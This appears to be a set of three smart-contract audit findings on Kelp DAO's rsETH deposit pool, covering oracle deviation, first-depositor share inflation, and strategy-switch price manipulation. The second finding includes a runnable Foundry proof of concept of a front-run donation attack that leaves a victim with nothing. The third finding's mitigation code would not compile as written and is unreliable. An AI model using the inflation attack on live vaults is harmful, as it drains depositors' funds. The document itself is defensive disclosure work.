Kelp DAO | rsETH - deth's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L109

Vulnerability details

Impact

When users want to depositAsset and mint rsETH, the protocol calls getRsETHAmountToMint which in turn uses an Asset/ETH oracle to calculate how much rsETH is supposed to be minted.

The protocol integrates Eigenlayer, which currently supports stETH, rETH and cbETH.

The flow looks like so:

function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

        // interactions
        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

The user calls depositAsset, then _mintRsETH is called:

 function _mintRsETH(address _asset, uint256 _amount) private returns (uint256 rsethAmountToMint) {
        (rsethAmountToMint) = getRsETHAmountToMint(_asset, _amount);

        address rsethToken = lrtConfig.rsETH();
        // mint rseth for user
        IRSETH(rsethToken).mint(msg.sender, rsethAmountToMint);
    }

Which in turn uses getRsETHAmountToMint to calculate how much rsETH is supposed to be minted:

 function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint)
    {
        // setup oracle contract
        address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
        ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);

        // calculate rseth amount to mint based on asset amount and asset exchange rate
        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice(); //@audit can be manipulated
    }

As you can see we use an oracle to get the Asset/ETH price, which is used to calculate rsethAmountToMint.

The problem arises when a user tries to deposit rETH to the protocol.

Another issue can be if the price drops below 1e18, as getRSETHPrice will round down to 0 which will efectively brick depositing, since division by 0 reverts

Proof of Concept

The rETH/ETH oracle has a large deviation threshold of 2% and a heartbeat of 24 hours link. Basically the price can move up or down, up to 2% in 24 hours, before a price update is triggered from the oracle. The result is that the on-chain price of will be quite different compared to the true price of rETH, which in turn will lead to incorrect amount of rsETH minted to a user.

Since the price can move both up or down, this can either lead to a loss of funds for the user if the price moves down, since he'll be minted less rsETH, or a loss for the protocol if the price moves up, because the user will be minted more rsETH.

Tools Used

Manual Review

Recommended Mitigation Steps

I'm not sure what the best mitigation would be here.

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L79

Vulnerability details

Impact

The protocol implements it's token rsETH and mints it to users who deposit stETH, rETH or cbETH (assets), based on several factors:

• The asset price, which the protocol uses an oracle for inside getAssetPrice in ETH.
• The rsETH price, which is calculated from the total asset deposits, multiplied by each asset's price, divided by the total supply of rsETH.

This is the function that retrieves the rsETH price in ETH.

/// @notice Provides RSETH/ETH exchange rate
    /// @dev calculates based on stakedAsset value received from eigen layer
    /// @return rsETHPrice exchange rate of RSETH
    function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply(); //@audit can be manipulated

        if (rsEthSupply == 0) {
            return 1 ether; 
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset); 

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER; 

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply; 
    }

Digging deeper inside getTotalAssetDeposits:

/// @notice gets the total asset present in protocol
    /// @param asset Asset address
    /// @return totalAssetDeposit total asset present in protocol
    function getTotalAssetDeposits(address asset) public view override returns (uint256 totalAssetDeposit) {
        (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer) =
            getAssetDistributionData(asset);
        return (assetLyingInDepositPool + assetLyingInNDCs + assetStakedInEigenLayer);
    }

Which in turn calls getAssetDistributionData:

/// @dev provides asset amount distribution data among depositPool, NDCs and eigenLayer
    /// @param asset the asset to get the total amount of
    /// @return assetLyingInDepositPool asset amount lying in this LRTDepositPool contract
    /// @return assetLyingInNDCs asset amount sum lying in all NDC contract
    /// @return assetStakedInEigenLayer asset amount staked in eigen layer through all NDCs
    function getAssetDistributionData(address asset)
        public
        view
        override
        onlySupportedAsset(asset)
        returns (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer)
    {
        // Question: is here the right place to have this? Could it be in LRTConfig?
        assetLyingInDepositPool = IERC20(asset).balanceOf(address(this)); 

        uint256 ndcsCount = nodeDelegatorQueue.length;
        for (uint256 i; i < ndcsCount;) {
            assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]); 
            assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset); 
            unchecked {
                ++i;
            }
        }
    }

The function takes into account the token balance of the LRTDepositBool for an asset, the token balance of all the nodes in nodeDelegatorQueue and the assets staked in EigenLayer.

The problem here is that assetLyingInDepositPool = IERC20(asset).balanceOf(address(this)); can very easily be manipulated by transferring the asset token directly to the LRTDepositPool.

Knowing this, an attacker can very easily execute a first depositor attack to inflate the price of rsETH to a point, where the equation responsible for calculating how much rsETH is supposed to be minted will start rounding to 0.

/// @notice View amount of rsETH to mint for given asset amount
    /// @param asset Asset address
    /// @param amount Asset amount
    /// @return rsethAmountToMint Amount of rseth to mint
    function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint)
    {
        // setup oracle contract
        address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
        ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);

        // calculate rseth amount to mint based on asset amount and asset exchange rate
        // Right here
    ->  rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
    }

Example: For the example we are assuming the oracle will return a price of 1e18 for simplicity.

• Bob is the first depositor of the LRTDepositPool and calls depositAsset(rETH, 5e18).

• Alice front runs him, calling depositAsset(rETH, 1). When someone first deposits into the pool the price of rsETH is 1:1, so Alice gets minted 1 rsETH

• Immediately after that Alice directly transfers 10e18 rETH tokens directly to the LRTDepositPool.

• Bob's tx goes through and getRSETHPrice returns: totalETHInPool = 10e18 + 1 assetER = 1e18 rsEthSupply 1

  rsETHPrice = (10e18 + 1) * 1e18 / 1 rsETHPrice = 10e36

• The amount minted to Bob is: rsethAmountToMint = (5e18 * 1e18) / 10e36; which equals 0.5 and Solidity rounds it down to 0.

• Bob just transferred 5e18 rETH and got minted 0 rsETH, effectively losing his funds

The same attack can occur by transferring tokens directly to node delegators, because getAssetDistributionData uses:

assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]); 

Note that any user, after the attack, depositing less than 10e18 of any asset, will receive 0 rsETH in return.

Proof of Concept

Create a new file in src/test, paste the following inside and run forge test --mt test_infalteRsETHPrice -vvvv.

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

import {IRSETH} from "../src/interfaces/IRSETH.sol";

contract MockNodeDelegator {
    function getAssetBalance(address) external pure returns (uint256) {
      return 1e18;
    }
}

// This is the new MockOracle
contract MockOracle {
    address rsETH;
    address lrtDepositPool;
    address asset;

    constructor(address rsETHAddress, address lrtDepositPoolAddress, address assetAddress){
      rsETH = rsETHAddress;
      lrtDepositPool = lrtDepositPoolAddress;
      asset = assetAddress;
    }
    
    function getRSETHPrice() external view returns (uint256) {
      uint256 rsEthSupply = IRSETH(rsETH).totalSupply();
      if (rsEthSupply == 0) {
          return 1 ether;
      }

      // For testing purposes we hardcode 1e18 as the oracle price
      uint256 assertEr = 1e18;
      uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPool).getTotalAssetDeposits(asset);
      return (totalAssetAmt * assertEr) / rsEthSupply;
    }

    function getAssetPrice(address) external pure returns (uint256) {
      return 1e18;
    }
}


contract LRTDepositPoolTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;

    function setUp() public virtual override(RSETHTest, BaseTest) {
      super.setUp();

      // deploy LRTDepositPool
      ProxyAdmin proxyAdmin = new ProxyAdmin();
      LRTDepositPool contractImpl = new LRTDepositPool();
      TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
          address(contractImpl),
          address(proxyAdmin),
          ""
      );

      lrtDepositPool = LRTDepositPool(address(contractProxy));

      // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
      rseth.initialize(address(admin), address(lrtConfig));
      vm.startPrank(admin);
      // add rsETH to LRT config
      lrtConfig.setRSETH(address(rseth));
      
      // add minter role for rseth to lrtDepositPool
      rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

      vm.stopPrank();
    }
}

contract LRTDepositPoolInitialize is LRTDepositPoolTest {
    function test_RevertWhenLRTConfigIsZeroAddress() external {
      vm.expectRevert(UtilLib.ZeroAddressNotAllowed.selector);
      lrtDepositPool.initialize(address(0));
    }

    function test_InitializeContractsVariables() external {
      lrtDepositPool.initialize(address(lrtConfig));

      assertEq(lrtDepositPool.maxNodeDelegatorCount(), 10, "Max node delegator count is not set");
      assertEq(address(lrtConfig), address(lrtDepositPool.lrtConfig()), "LRT config address is not set");
    }
}

contract LRTDepositPoolDepositAsset is LRTDepositPoolTest {
    address public rETHAddress;

    function setUp() public override {
      super.setUp();

      // initialize LRTDepositPool
      lrtDepositPool.initialize(address(lrtConfig));

      rETHAddress = address(rETH);

      // add manager role within LRTConfig
      vm.startPrank(admin);

      // This is where we are setting up the MockOracle
      lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(new MockOracle(address(rseth), address(lrtDepositPool), address(rETH))));
      lrtConfig.grantRole(LRTConstants.MANAGER, manager);
      vm.stopPrank();
    }

    // This is the test
    function test_infalteRsETHPrice() external {
      // Alice has 15e18 rETH
      rETH.mint(address(alice), 15e18);

      // Alice deposits 1 wei into the protocol
      vm.startPrank(alice);
      rETH.approve(address(lrtDepositPool), 15e18);
      lrtDepositPool.depositAsset(rETHAddress, 1);
      vm.stopPrank();

      // Alice got minted 1 wei rsETH
      uint256 aliceBalanceAfter = rseth.balanceOf(address(alice));
      assertEq(aliceBalanceAfter, 1, "Alice rsETH balance after deposit");
      
      // There is 1 wei rETH in the LrtDepositPool
      assertEq(lrtDepositPool.getTotalAssetDeposits(rETHAddress), 1, "Total asset deposits");
      // There is 1 wei rsETH minted 
      assertEq(rseth.totalSupply(), 1, "rsETH total supply");

      // Alice transfers 10e18 rETH directly to the LrtDepositPool
      vm.prank(alice);
      rETH.transfer(address(lrtDepositPool), 10e18);

      // The LrtDepositPool now has 10e18 + 1 rETH (The 1 wei isn't really important)
      assertEq(lrtDepositPool.getTotalAssetDeposits(rETHAddress), 10e18 + 1, "Total rETH deposits after Alice");

      // Bob has 5e18 rETH
      rETH.mint(address(bob), 5e18);
      uint256 bobRETHBalanceBefore = rETH.balanceOf(address(bob));

      // Bob's rsETH before the deposit
      uint256 bobRSETHBalanceBefore = rseth.balanceOf(address(bob));

      // Bob deposits 5e18 rETH into the LrtDepositPool
      vm.startPrank(address(bob));
      rETH.approve(address(lrtDepositPool), 5e18);
      lrtDepositPool.depositAsset(rETHAddress, 5e18);
      vm.stopPrank();

      // Bob's rsETH after the deposit
      uint256 bobRSETHBalanceAfter = rseth.balanceOf(address(bob));
      uint256 bobRETHBalanceAfter = rETH.balanceOf(address(bob));

      // You can see that Bob still has no rsETH even though he deposited 5e18 rETH
      assertEq(bobRSETHBalanceAfter, 0, "Bob balance after is 0");
      assertEq(bobRSETHBalanceAfter, bobRSETHBalanceBefore, "Bob balance after is 0");

      // But his tokens were transfered
      assertEq(lrtDepositPool.getTotalAssetDeposits(rETHAddress), 15e18 + 1, "Total rETH deposits after Bob");
      assertGt(bobRETHBalanceBefore, bobRETHBalanceAfter);
      assertEq(bobRETHBalanceBefore - bobRETHBalanceAfter, 5e18);
    }
}

Tools Used

Manual Review Foundry

Recommended Mitigation Steps

Consider minting rsETH to the 0 address when the first deposit occurs to dilute the shares.

Assessed type

Math

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTConfig.sol#L109-L122

Vulnerability details

Impact

One of variables that determines the price of rsETH is how tokens from the assets are deposited in different strategies in EigenLayer.

function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply(); //@audit can be manipulated

        if (rsEthSupply == 0) {
            return 1 ether; 
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset); 

        ->  uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER; 

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply; 
    }

This function retrieves all the asset tokens the protocol holds and have deposited to EigenLayer.

function getTotalAssetDeposits(address asset) public view override returns (uint256 totalAssetDeposit) {
        (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer) =
            getAssetDistributionData(asset);
        return (assetLyingInDepositPool + assetLyingInNDCs + assetStakedInEigenLayer);
    }

function getAssetDistributionData(address asset)
        public
        view
        override
        onlySupportedAsset(asset)
        returns (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer)
    {
        // Question: is here the right place to have this? Could it be in LRTConfig?
        assetLyingInDepositPool = IERC20(asset).balanceOf(address(this)); 

        uint256 ndcsCount = nodeDelegatorQueue.length;
        for (uint256 i; i < ndcsCount;) {
            assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]); 
        ->  assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset); 
            unchecked {
                ++i;
            }
        }
    }

This is the function that retrieves how many tokens has the node delegator deposited to a strategy in EigenLayer.

/// @dev Returns the balance of an asset that the node delegator has deposited into the strategy
    /// @param asset the asset to get the balance of
    /// @return stakedBalance the balance of the asset
    function getAssetBalance(address asset) external view override returns (uint256) {
        address strategy = lrtConfig.assetStrategy(asset);
        return IStrategy(strategy).userUnderlyingView(address(this));
    }

As you can see each asset has one strategy associated with it.

So now let's imagine that updateAssetStrategy is called while there are still tokens inside the previous strategy.

/// @dev Updates the strategy for an asset
    /// @param asset Asset address
    /// @param strategy New strategy address
    function updateAssetStrategy(
        address asset,
        address strategy
    )
        external
        onlyRole(DEFAULT_ADMIN_ROLE)
        onlySupportedAsset(asset)
    {
        UtilLib.checkNonZeroAddress(strategy);
        if (assetStrategy[asset] == strategy) {
            revert ValueAlreadyInUse();
        }
        assetStrategy[asset] = strategy;
    }

If that strategy is a new one, meaning that node delegators haven't deposited to it yet, getAssetBalance will return 0, effectively lowering the price of rsETH.

Note that the README of the contest, doesn't state anything about any role being trusted.

Proof of Concept

• The LRTDepositPool has several node delegators in it's queue.
• Alice deposits 5e18 stETH to the LRTDepositPool.
• transferAssetToNodeDelegator is called and the tokens are moved to a node delegator.
• From the node delegatore depositAssetIntoStrategy is called and the funds are moved to a strategy in EigenLayer.
• updateAssetStrategy is called and the strategy for stETH is changed to a different one.
• getRSETHPrice will drop dramatically, since all calls to getAssetBalance will return 0.
• Bob notices this and deposits a large amount of rETH or any other asset and is minted much more rsETH, because the price moved down.

Tools Used

Manual Review

Recommended Mitigation Steps

Add a similar check inside updateAssetStrategy

function updateAssetStrategy(
        address asset,
        address strategy
    )
        external
        onlyRole(DEFAULT_ADMIN_ROLE)
        onlySupportedAsset(asset)
    {
    ->  address strategy = assetStrategy[asset];
    ->  if (IStrategy(strategy).userUnderlyingView(address(this)) != 0) revert("Tokens still in strategy");
        
        UtilLib.checkNonZeroAddress(strategy);
        if (assetStrategy[asset] == strategy) {
            revert ValueAlreadyInUse();
        }
        assetStrategy[asset] = strategy;
    }

Assessed type

Other